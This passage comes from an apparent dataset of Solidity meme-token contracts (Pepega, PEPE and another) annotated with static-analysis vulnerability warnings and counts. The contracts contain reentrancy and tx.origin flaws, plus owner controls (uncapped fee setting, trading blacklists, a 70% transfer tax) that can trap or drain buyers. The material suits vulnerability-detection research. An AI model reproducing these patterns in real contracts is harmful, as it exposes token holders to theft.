{\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ee26671\n\t\t\t\t// reentrancy-eth | ID: a7cb11f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ee26671\n\t\t\t\t\t// reentrancy-eth | ID: a7cb11f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a7cb11f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a7cb11f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a7cb11f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ee26671\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a7cb11f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a7cb11f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ee26671\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ee26671\n\t\t// reentrancy-events | ID: 85f7d7b\n\t\t// reentrancy-benign | ID: ffbc6ac\n\t\t// reentrancy-eth | ID: a7cb11f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bf6dba6): ASS.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for bf6dba6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ee26671\n\t\t// reentrancy-events | ID: 85f7d7b\n\t\t// reentrancy-eth | ID: a7cb11f\n\t\t// arbitrary-send-eth | ID: bf6dba6\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 676ac1b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 676ac1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 32259e2): ASS.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 32259e2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0373e67): ASS.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0373e67: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 988ed96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 988ed96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 676ac1b\n\t\t\t// reentrancy-eth | ID: 988ed96\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 676ac1b\n\t\t// unused-return | ID: 0373e67\n\t\t// reentrancy-eth | ID: 988ed96\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 676ac1b\n\t\t// unused-return | ID: 32259e2\n\t\t// reentrancy-eth | ID: 988ed96\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 676ac1b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 988ed96\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f58bcee): ASS.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for f58bcee: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: f58bcee\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10870.sol",
"size_bytes": 20905,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Pepega is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 872af79): Pepega._taxWallet should be immutable \n\t// Recommendation for 872af79: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25a178e): Pepega._initialBuyTax should be constant \n\t// Recommendation for 25a178e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: fbbe2c6): Pepega._initialSellTax should be constant \n\t// Recommendation for fbbe2c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 26;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bf6d03): Pepega._reduceBuyTaxAt should be constant \n\t// Recommendation for 2bf6d03: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: eac6dd6): Pepega._reduceSellTaxAt should be constant \n\t// Recommendation for eac6dd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 26;\n\n\t// WARNING Optimization Issue (constable-states | ID: dbadc92): Pepega._preventSwapBefore should be constant \n\t// Recommendation for dbadc92: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n\n uint256 private constant _tTotal = 690420000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pepega\";\n\n string private constant _symbol = unicode\"PEPEGA\";\n\n uint256 public _maxTxAmount = 6904200000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6904200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae303ff): Pepega._taxSwapThreshold should be constant \n\t// Recommendation for ae303ff: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 6904200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 38e9d1b): Pepega._maxTaxSwap should be constant \n\t// Recommendation for 38e9d1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 6904200000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5e11cc6): Pepega.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5e11cc6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 56fc44c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 56fc44c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5716781): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5716781: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 56fc44c\n\t\t// reentrancy-benign | ID: 5716781\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 56fc44c\n\t\t// reentrancy-benign | ID: 5716781\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb7c151): Pepega._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cb7c151: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5716781\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 56fc44c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1394d96): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1394d96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 13d9198): Pepega._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 13d9198: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 13869a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 13869a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 13d9198\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 1394d96\n\t\t\t\t// reentrancy-eth | ID: 13869a7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1394d96\n\t\t\t\t\t// reentrancy-eth | ID: 13869a7\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 13869a7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1394d96\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 13869a7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 13869a7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1394d96\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1394d96\n\t\t// reentrancy-events | ID: 56fc44c\n\t\t// reentrancy-benign | ID: 5716781\n\t\t// reentrancy-eth | ID: 13869a7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7514e65): Pepega.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7514e65: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1394d96\n\t\t// reentrancy-events | ID: 56fc44c\n\t\t// reentrancy-eth | ID: 13869a7\n\t\t// arbitrary-send-eth | ID: 7514e65\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function manageList(address[] memory bots_) external onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7bd2bdf): Pepega.reduceFee(uint256,uint256) should emit an event for _finalBuyTax = _newBuyFee _finalSellTax = _newSellFee \n\t// Recommendation for 7bd2bdf: Emit an event for critical parameter changes.\n function reduceFee(\n uint256 _newBuyFee,\n uint256 _newSellFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 7bd2bdf\n _finalBuyTax = _newBuyFee;\n\n\t\t// events-maths | ID: 7bd2bdf\n _finalSellTax = _newSellFee;\n }\n\n function createPair() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 01a4fec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 01a4fec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6169eef): Pepega.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6169eef: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1e78b10): Pepega.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1e78b10: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3c68009): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3c68009: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 01a4fec\n\t\t// unused-return | ID: 1e78b10\n\t\t// reentrancy-eth | ID: 3c68009\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 01a4fec\n\t\t// unused-return | ID: 6169eef\n\t\t// reentrancy-eth | ID: 3c68009\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 01a4fec\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3c68009\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10871.sol",
"size_bytes": 20727,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PEPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9487a50): PEPE._taxWallet should be immutable \n\t// Recommendation for 9487a50: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69e3f5c): PEPE._initialBuyTax should be constant \n\t// Recommendation for 69e3f5c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb59276): PEPE._initialSellTax should be constant \n\t// Recommendation for bb59276: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1eb4f51): PEPE._reduceBuyTaxAt should be constant \n\t// Recommendation for 1eb4f51: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76f2516): PEPE._reduceSellTaxAt should be constant \n\t// Recommendation for 76f2516: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd822d7): PEPE._preventSwapBefore should be constant \n\t// Recommendation for cd822d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Feels Good Man\";\n\n string private constant _symbol = unicode\"PEPE\";\n\n uint256 public _maxTxAmount = 8427600000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8427600000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d5f50b): 